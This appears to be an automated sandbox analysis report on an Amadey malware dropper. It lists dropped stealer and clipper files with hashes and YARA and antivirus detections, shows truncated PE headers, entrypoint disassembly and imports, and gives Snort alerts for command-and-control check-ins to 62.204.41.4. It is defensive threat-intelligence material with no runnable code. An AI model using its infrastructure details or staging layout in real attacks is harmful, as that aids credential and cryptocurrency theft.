Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\clip64[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	6.3469756750979025
Encrypted:	false
SSDEEP:	1536:Fto4NPCKLbqoYkbpplW9YoUsxXzbcouNhj2ZszsWuKcdJU7dz5QIaB89p:roUCWbBNpplToUs1uNhj25LJUDaB89p
MD5:	C79B74D8FEC5E7E2BA2F1789FD582A15
SHA1:	78A1E5D99DBACCC5E07B125E1DFB280112CB3128
SHA-256:	B5BD049D32F0FAEEA6CE65A0F0D326DE5BC4427A7C1AD24BFB0EA050C1DEC7D3
SHA-512:	0DEBFC54904FD538CFB1FC648D18F90A991337200B3DECF74B28AC2F341843FB3BAB4F45BC92CFEC333B18DFFF9CC136854462E79054A39926A7BD8EE2E057BA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\clip64[1].dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 81%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: QEb6ybdVBd.exe, Detection: malicious, Browse Filename: 9U2j7fIA6J.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........,Cy..Cy..Cy.....~Iy.....~.y.....~Qy.....~Ly.....~Ry.....~by.....~Fy..Cy...y.....~@y.....~By......By.....~By..RichCy..........PE..L....8.c...........!.................>....................................................@..........................J......<K..<...............................T... ?..p............................?..@...............,............................text...V........................... ..`.rdata...a.......b..................@..@.data...D....`.......D..............@....rsrc................P..............@..@.reloc..T............R..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	241664
Entropy (8bit):	6.368190069123744
Encrypted:	false
SSDEEP:	6144:YS/OgTLnk2FBtze+1T9uA/qruVyhVYjgVO:dO3v+uA+uVyhVvO
MD5:	8BB923C4D81284DAEF7896E5682DF6C6
SHA1:	67E34A96B77E44B666C5479F540995BDEACF5DE2
SHA-256:	9B0410052289A8416A458401FBB9A74D6361F4769465431B209F32151D7C6F21
SHA-512:	2DAED03277A343DB5FCB22E26BAEA5CDA41DE39DC825FE0AAD51F6EC181B8F38F09427F27FB58FFD179F37032600D107EF772CC6275F7D0D62899C6CD3F8AFF7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U.M...#...#...#.J. ...#.J.&..#.J.'...#..'...#.. ...#..&.:.#.J."...#..."..#....#.....#.!...#.Rich..#.........PE..L....8.c.............................y............@.......................................@.................................Hm..d................................(...?..p....................@......0@..@............................................text...}........................... ..`.rdata.............................@..@.data....D...........l..............@....rsrc...............................@..@.reloc...(.........................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	407040
Entropy (8bit):	7.714763087804338
Encrypted:	false
SSDEEP:	6144:KDy+bnr+xp0yN90QEiO/jRSuIWQa8nyGmIm93oYobD29LhGCoUsSSQDcxwowWwYd:tMrly909/cpLXyGG934EhGCjvwYWwI/
MD5:	014BF36C5CA48AF27042E0BAF0B6D951
SHA1:	A65CF5FB7CEC3AAB71273A45DCC83B1CC64D9F3F
SHA-256:	C4A0666A243C0AE022C6B06DFCCB8509CD48D879A89B02562296503B620BE701
SHA-512:	9D05081C8CC65B3718E99DC0D05E28EA2BA75D11DD642F94ECA9CC636ABA20EE939D6B8C5BB43057F31554B600012FE8E8816FFCD976CF86D0ED57CFD4AF6998
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 51%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K..K..K...N..K...H..K...O..K...J..K..J...K...C..K.....K...I..K.Rich..K.........PE..L....`.b.................d..........`j............@.......................................@...... ...........................................................p..........T...............................@............................................text....c.......d.................. ..`.data...H............h..............@....idata..R............j..............@..@.rsrc................\|..............@..@.reloc.......p.......,..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	241664
Entropy (8bit):	6.368190069123744
Encrypted:	false
SSDEEP:	6144:YS/OgTLnk2FBtze+1T9uA/qruVyhVYjgVO:dO3v+uA+uVyhVvO
MD5:	8BB923C4D81284DAEF7896E5682DF6C6
SHA1:	67E34A96B77E44B666C5479F540995BDEACF5DE2
SHA-256:	9B0410052289A8416A458401FBB9A74D6361F4769465431B209F32151D7C6F21
SHA-512:	2DAED03277A343DB5FCB22E26BAEA5CDA41DE39DC825FE0AAD51F6EC181B8F38F09427F27FB58FFD179F37032600D107EF772CC6275F7D0D62899C6CD3F8AFF7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U.M...#...#...#.J. ...#.J.&..#.J.'...#..'...#.. ...#..&.:.#.J."...#..."..#....#.....#.!...#.Rich..#.........PE..L....8.c.............................y............@.......................................@.................................Hm..d................................(...?..p....................@......0@..@............................................text...}........................... ..`.rdata.............................@..@.data....D...........l..............@....rsrc...............................@..@.reloc...(.........................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	375808
Entropy (8bit):	6.845143402184113
Encrypted:	false
SSDEEP:	6144:NSLLfo0ceBpdxPr/Wcfu7dm93PYobD29LhLCRxuk6o+ALq:NS/foGnxT/WH7k93ZEhLCHr2v
MD5:	A00A64A5A243C8705D68786C6159E402
SHA1:	B1321832BB1DA71B4BFF28E6E3E6749D815398FB
SHA-256:	5D275427202F0DEF0FB46B5E470D56C7CA8999E8C866E4DA7408FB854762FF3D
SHA-512:	A728E81288BD5C48F92BE9BCCADD918E93B8086E5483CD57CCED246B75246BE2B34D961A0788C9092F9A0333AEF28799D40AD6E51D5A92A93FE22480035CEF6A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6BX.W,..W,..W,......W,......W,......W,...W..W,..W-..W,......W,......W,......W,.Rich.W,.........PE..L......b............................Oe.......0....@..........................p..............................................D...x........`...................P.......................................5..@............................................text...<........................... ..`.data...d....0......................@....weh.................6..............@..@.lami................:..............@....rsrc....`.......b...>..............@..@.reloc..8....P......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	4.97029807367379
Encrypted:	false
SSDEEP:	96:yA/vMth9sDLibql3A44P9QL4fwmPImg+A03PvXLOzk+gqWYV4J6oP/zNt:yw+wGWt94+iANiCkc4Jhp
MD5:	7E93BACBBC33E6652E147E7FE07572A0
SHA1:	421A7167DA01C8DA4DC4D5234CA3DD84E319E762
SHA-256:	850CD190AAEEBCF1505674D97F51756F325E650320EAF76785D954223A9BEE38
SHA-512:	250169D7B6FCEBFF400BE89EDAE8340F14130CED70C340BA9DA9F225F62B52B35F6645BFB510962EFB866F988688CB42392561D3E6B72194BC89D310EA43AA91
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0.."...........@... ...`....@.. ....................................@..................................@..O....`...............................@..8............................................ ............... ..H............text.... ... ...".................. ..`.rsrc........`.......$..............@..@.reloc.............................@..B.................@......H.......T$...............................................................0...........@s.....@...(....&..0..K......... ?...(......~....(....,.r...p.....(....%..(....& ....(....(....&.(....&..0..e.......(....~........+G.....o....r#..p(....,-.o.... ......(....-..(....&(.....o....(....&..X....i2..(....&....0..`.......(....~........+B.....o....r...p(....,(.o.... ......(....-..(....&.o....(....&..X....i2..(....&.0..c......... ?...(......~....(....,.*....(............%...(...

C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	6.3469756750979025
Encrypted:	false
SSDEEP:	1536:Fto4NPCKLbqoYkbpplW9YoUsxXzbcouNhj2ZszsWuKcdJU7dz5QIaB89p:roUCWbBNpplToUs1uNhj25LJUDaB89p
MD5:	C79B74D8FEC5E7E2BA2F1789FD582A15
SHA1:	78A1E5D99DBACCC5E07B125E1DFB280112CB3128
SHA-256:	B5BD049D32F0FAEEA6CE65A0F0D326DE5BC4427A7C1AD24BFB0EA050C1DEC7D3
SHA-512:	0DEBFC54904FD538CFB1FC648D18F90A991337200B3DECF74B28AC2F341843FB3BAB4F45BC92CFEC333B18DFFF9CC136854462E79054A39926A7BD8EE2E057BA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........,Cy..Cy..Cy.....~Iy.....~.y.....~Qy.....~Ly.....~Ry.....~by.....~Fy..Cy...y.....~@y.....~By......By.....~By..RichCy..........PE..L....8.c...........!.................>....................................................@..........................J......<K..<...............................T... ?..p............................?..@...............,............................text...V........................... ..`.rdata...a.......b..................@..@.data...D....`.......D..............@....rsrc................P..............@..@.reloc..T............R..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.621829903792328
Encrypted:	false
SSDEEP:	3:qVoB3tURObOb0qHXboAcMBXqWrKb0GklIVLLPROZ/eIwcWWGu:q43tIkObRHXiMIWObtklI5LPROeIpfGu
MD5:	1B7C22A214949975556626D7217E9A39
SHA1:	D01C97E2944166ED23E47E4A62FF471AB8FA031F
SHA-256:	340C8464C2007CE3F80682E15DFAFA4180B641D53C14201B929906B7B0284D87
SHA-512:	BA64847CF1D4157D50ABE4F4A1E5C1996FE387C5808E2F758C7FB3213BFEFE1F3712D343F0C30A16819749840954654A70611D2250FD0F7B032429DB7AFD2CC5
Malicious:	false
Preview:	<html>..<head><title>404 Not Found</title></head>..<body>..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.18.0 (Ubuntu)</center>..</body>..</html>..

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\cacls.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.240223928941852
Encrypted:	false
SSDEEP:	3:o3F:o1
MD5:	509B054634B6DE74F111C3E646BC80FD
SHA1:	99B4C0F39144A92FE42E22473A2A2552FB16BD13
SHA-256:	07C7C151ADD6D955F3C876359C0E2A3A3FB0C519DD1E574413F0B68B345D8C36
SHA-512:	A9C2D23947DBE09D5ECFBF6B3109F3CF8409E43176AE10C18083446EDE006E60E41C3EA2D2765036A967FC81B085D5F271686606AED4154AE45287D412CF6D40
Malicious:	false
Preview:	processed dir:

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.837619492816914
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	598528
MD5:	61a8c6a50c4a2c2990e45bc223464333
SHA1:	87334fa8b57e66c8193d9138f82f31caf2732d73
SHA256:	fe010d21711adca99ed52b577c6bf8e2919f5e08f3ce65ce446f1a92f87a7e34
SHA512:	e5aeba8ecaaeb0fd373d9ed77754d4cd925153f7dc962fe1374696d0f974b020ab61fd1eea0b2ccc963a1100a168a211c81b24c6c040bb243012b7e91c88f4cf
SSDEEP:	12288:pMrdy90JSCGLgBWhJpLEyGG9JjNhGCPvCXWweSfH2S5:cyOWJpYMHNh7PvNwvuo
TLSH:	79D4020BF7F84471E8B05BB058FB03D316357E51973882AA624B7C6A1DB32A4A53536B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K...K...K...N...K...H...K...O...K...J...K...J...K...C...K.......K...I...K.Rich..K.........PE..L....`.b.................d.

File Icon


Icon Hash:	f8e0e4e8ecccc870

Static PE Info

General

Entrypoint:	0x406a60
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x628D60E2 [Tue May 24 22:49:06 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	10
OS Version Minor:	0
File Version Major:	10
File Version Minor:	0
Subsystem Version Major:	10
Subsystem Version Minor:	0
Import Hash:	646167cce332c1c252cdcb1839e0cf48

Entrypoint Preview

Instruction
call 00007F7F11080B45h
jmp 00007F7F11080455h
push 00000058h
push 004072B8h
call 00007F7F11080BE7h
xor ebx, ebx
mov dword ptr [ebp-20h], ebx
lea eax, dword ptr [ebp-68h]
push eax
call dword ptr [0040A184h]
mov dword ptr [ebp-04h], ebx
mov eax, dword ptr fs:[00000018h]
mov esi, dword ptr [eax+04h]
mov edi, ebx
mov edx, 004088ACh
mov ecx, esi
xor eax, eax
lock cmpxchg dword ptr [edx], ecx
test eax, eax
je 00007F7F1108046Ah
cmp eax, esi
jne 00007F7F11080459h
xor esi, esi
inc esi
mov edi, esi
jmp 00007F7F11080462h
push 000003E8h
call dword ptr [0040A188h]
jmp 00007F7F11080429h
xor esi, esi
inc esi
cmp dword ptr [004088B0h], esi
jne 00007F7F1108045Ch
push 0000001Fh
call 00007F7F1108097Bh
pop ecx
jmp 00007F7F1108048Ch
cmp dword ptr [004088B0h], ebx
jne 00007F7F1108047Eh
mov dword ptr [004088B0h], esi
push 004010C4h
push 004010B8h
call 00007F7F110805A6h
pop ecx
pop ecx
test eax, eax
je 00007F7F11080469h
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, 000000FFh
jmp 00007F7F11080589h
mov dword ptr [004081E4h], esi
cmp dword ptr [004088B0h], esi
jne 00007F7F1108046Dh
push 004010B4h
push 004010ACh
call 00007F7F11080B35h
pop ecx
pop ecx
mov dword ptr [000088B0h], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa28c	0xb4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0x89a60	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x96000	0x888	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1410	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1008	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa000	0x288	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6314	0x6400	False	0.5744140625	data	6.314163792045976	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x8000	0x1a48	0x200	False	0.609375	data	4.970639543960129	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa000	0x1052	0x1200	False	0.4140625	data	5.025949912909207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xc000	0x8a000	0x89c00	False	0.9323672867513612	data	7.877195907451372	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x96000	0x888	0xa00	False	0.746484375	data	6.222637930812128	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AVI	0xcb30	0x2e1a	RIFF (little-endian) data, AVI, 272 x 60, 10.00 fps, video: RLE 8bpp	English	United States
RT_ICON	0xf94c	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States
RT_ICON	0xffb4	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States
RT_ICON	0x1029c	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	United States
RT_ICON	0x10484	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States
RT_ICON	0x105ac	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States
RT_ICON	0x11454	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States
RT_ICON	0x11cfc	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States
RT_ICON	0x123c4	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States
RT_ICON	0x1292c	0xd9d2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States
RT_ICON	0x20300	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States
RT_ICON	0x228a8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States
RT_ICON	0x23950	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States
RT_ICON	0x242d8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States
RT_DIALOG	0x24740	0x2f2	data	English	United States
RT_DIALOG	0x24a34	0x35c	data	Russian	Russia
RT_DIALOG	0x24d90	0x1b0	data	English	United States
RT_DIALOG	0x24f40	0x1b4	data	Russian	Russia
RT_DIALOG	0x250f4	0x166	data	English	United States
RT_DIALOG	0x2525c	0x168	data	Russian	Russia
RT_DIALOG	0x253c4	0x1c0	data	English	United States
RT_DIALOG	0x25584	0x1e0	data	Russian	Russia
RT_DIALOG	0x25764	0x130	data	English	United States
RT_DIALOG	0x25894	0x150	data	Russian	Russia
RT_DIALOG	0x259e4	0x120	data	English	United States
RT_DIALOG	0x25b04	0x122	data	Russian	Russia
RT_STRING	0x25c28	0x8c	Matlab v4 mat-file (little endian) l, numeric, rows 0, columns 0	English	United States
RT_STRING	0x25cb4	0x86	Matlab v4 mat-file (little endian) K\0041\0045\004@\0048\004B\0045\004 , numeric, rows 0, columns 0	Russian	Russia
RT_STRING	0x25d3c	0x520	data	English	United States
RT_STRING	0x2625c	0x52e	data	Russian	Russia
RT_STRING	0x2678c	0x5cc	data	English	United States
RT_STRING	0x26d58	0x592	data	Russian	Russia
RT_STRING	0x272ec	0x4b0	data	English	United States
RT_STRING	0x2779c	0x4b2	data	Russian	Russia
RT_STRING	0x27c50	0x44a	data	English	United States
RT_STRING	0x2809c	0x43e	data	Russian	Russia
RT_STRING	0x284dc	0x3ce	data	English	United States
RT_STRING	0x288ac	0x2fc	data	Russian	Russia
RT_RCDATA	0x28ba8	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x28bb0	0x6bd84	Microsoft Cabinet archive data, many, 441732 bytes, 2 files, at 0x2c +A "bjAg.exe" +A "xriv.exe", ID 1565, number 1, 20 datablocks, 0x1503 compression	English	United States
RT_RCDATA	0x94934	0x4	data	English	United States
RT_RCDATA	0x94938	0x24	data	English	United States
RT_RCDATA	0x9495c	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x94964	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x9496c	0x4	data	English	United States
RT_RCDATA	0x94970	0x9	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x9497c	0x4	data	English	United States
RT_RCDATA	0x94980	0x9	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x9498c	0x4	data	English	United States
RT_RCDATA	0x94990	0x6	data	English	United States
RT_RCDATA	0x94998	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x949a0	0x7	ASCII text, with no line terminators	English	United States
RT_GROUP_ICON	0x949a8	0xbc	data	English	United States
RT_VERSION	0x94a64	0x408	data	English	United States
RT_VERSION	0x94e6c	0x410	data	Russian	Russia
RT_MANIFEST	0x9527c	0x7e2	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
ADVAPI32.dll	GetTokenInformation, RegDeleteValueA, RegOpenKeyExA, RegQueryInfoKeyA, FreeSid, OpenProcessToken, RegSetValueExA, RegCreateKeyExA, LookupPrivilegeValueA, AllocateAndInitializeSid, RegQueryValueExA, EqualSid, RegCloseKey, AdjustTokenPrivileges
KERNEL32.dll	_lopen, _llseek, CompareStringA, GetLastError, GetFileAttributesA, GetSystemDirectoryA, LoadLibraryA, DeleteFileA, GlobalAlloc, GlobalFree, CloseHandle, WritePrivateProfileStringA, IsDBCSLeadByte, GetWindowsDirectoryA, SetFileAttributesA, GetProcAddress, GlobalLock, LocalFree, RemoveDirectoryA, FreeLibrary, _lclose, CreateDirectoryA, GetPrivateProfileIntA, GetPrivateProfileStringA, GlobalUnlock, ReadFile, SizeofResource, WriteFile, GetDriveTypeA, lstrcmpA, SetFileTime, SetFilePointer, FindResourceA, CreateMutexA, GetVolumeInformationA, ExpandEnvironmentStringsA, GetCurrentDirectoryA, FreeResource, GetVersion, SetCurrentDirectoryA, GetTempPathA, LocalFileTimeToFileTime, CreateFileA, SetEvent, TerminateThread, GetVersionExA, LockResource, GetSystemInfo, CreateThread, ResetEvent, LoadResource, ExitProcess, GetModuleHandleW, CreateProcessA, FormatMessageA, GetTempFileNameA, DosDateTimeToFileTime, CreateEventA, GetExitCodeProcess, FindNextFileA, LocalAlloc, GetShortPathNameA, MulDiv, GetDiskFreeSpaceA, EnumResourceLanguagesA, GetTickCount, GetSystemTimeAsFileTime, GetCurrentThreadId, GetCurrentProcessId, QueryPerformanceCounter, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, GetStartupInfoW, Sleep, FindClose, GetCurrentProcess, FindFirstFileA, WaitForSingleObject, GetModuleFileNameA, LoadLibraryExA
GDI32.dll	GetDeviceCaps
USER32.dll	SetWindowLongA, GetDlgItemTextA, DialogBoxIndirectParamA, ShowWindow, MsgWaitForMultipleObjects, SetWindowPos, GetDC, GetWindowRect, DispatchMessageA, GetDesktopWindow, CharUpperA, SetDlgItemTextA, ExitWindowsEx, MessageBeep, EndDialog, CharPrevA, LoadStringA, CharNextA, EnableWindow, ReleaseDC, SetForegroundWindow, PeekMessageA, GetDlgItem, SendMessageA, SendDlgItemMessageA, MessageBoxA, SetWindowTextA, GetWindowLongA, CallWindowProcA, GetSystemMetrics
msvcrt.dll	_controlfp, ?terminate@@YAXXZ, _acmdln, _initterm, __setusermatherr, _except_handler4_common, memcpy, _ismbblead, __p__fmode, _cexit, _exit, exit, __set_app_type, __getmainargs, _amsg_exit, __p__commode, _XcptFilter, memcpy_s, _vsnprintf, memset
COMCTL32.dll
Cabinet.dll
VERSION.dll	GetFileVersionInfoA, VerQueryValueA, GetFileVersionInfoSizeA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Russian	Russia

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.562.204.41.449780802027700 02/06/23-14:17:06.175418	TCP	2027700	ET TROJAN Amadey CnC Check-In	49780	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450240802027700 02/06/23-14:19:16.745453	TCP	2027700	ET TROJAN Amadey CnC Check-In	50240	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449716802027700 02/06/23-14:16:36.096630	TCP	2027700	ET TROJAN Amadey CnC Check-In	49716	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449814802027700 02/06/23-14:17:21.151914	TCP	2027700	ET TROJAN Amadey CnC Check-In	49814	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449912802027700 02/06/23-14:17:47.771913	TCP	2027700	ET TROJAN Amadey CnC Check-In	49912	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449909802027700 02/06/23-14:17:47.051765	TCP	2027700	ET TROJAN Amadey CnC Check-In	49909	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450237802027700 02/06/23-14:19:16.017120	TCP	2027700	ET TROJAN Amadey CnC Check-In	50237	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450139802027700 02/06/23-14:18:49.109386	TCP	2027700	ET TROJAN Amadey CnC Check-In	50139	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450209802027700 02/06/23-14:19:07.475846	TCP	2027700	ET TROJAN Amadey CnC Check-In	50209	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450175802027700 02/06/23-14:18:59.121879	TCP	2027700	ET TROJAN Amadey CnC Check-In	50175	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449847802027700 02/06/23-14:17:29.282944	TCP	2027700	ET TROJAN Amadey CnC Check-In	49847	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.449749802027700 02/06/23-14:16:58.580580	TCP	2027700	ET TROJAN Amadey CnC Check-In	49749	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450016802027700 02/06/23-14:18:16.944191	TCP	2027700	ET TROJAN Amadey CnC Check-In	50016	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450114802027700 02/06/23-14:18:42.789843	TCP	2027700	ET TROJAN Amadey CnC Check-In	50114	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450212802027700 02/06/23-14:19:08.785162	TCP	2027700	ET TROJAN Amadey CnC Check-In	50212	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450273802027700 02/06/23-14:19:24.721440	TCP	2027700	ET TROJAN Amadey CnC Check-In	50273	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450077802027700 02/06/23-14:18:33.758096	TCP	2027700	ET TROJAN Amadey CnC Check-In	50077	80	192.168.2.5	62.204.41.4
192.168.2.562.204.41.450170802027700 02/06/23-14:18:57.930319	TCP	2027700	ET TROJAN Amadey CnC Check-In	50170	80	192.168.2.5	62.204.41.4
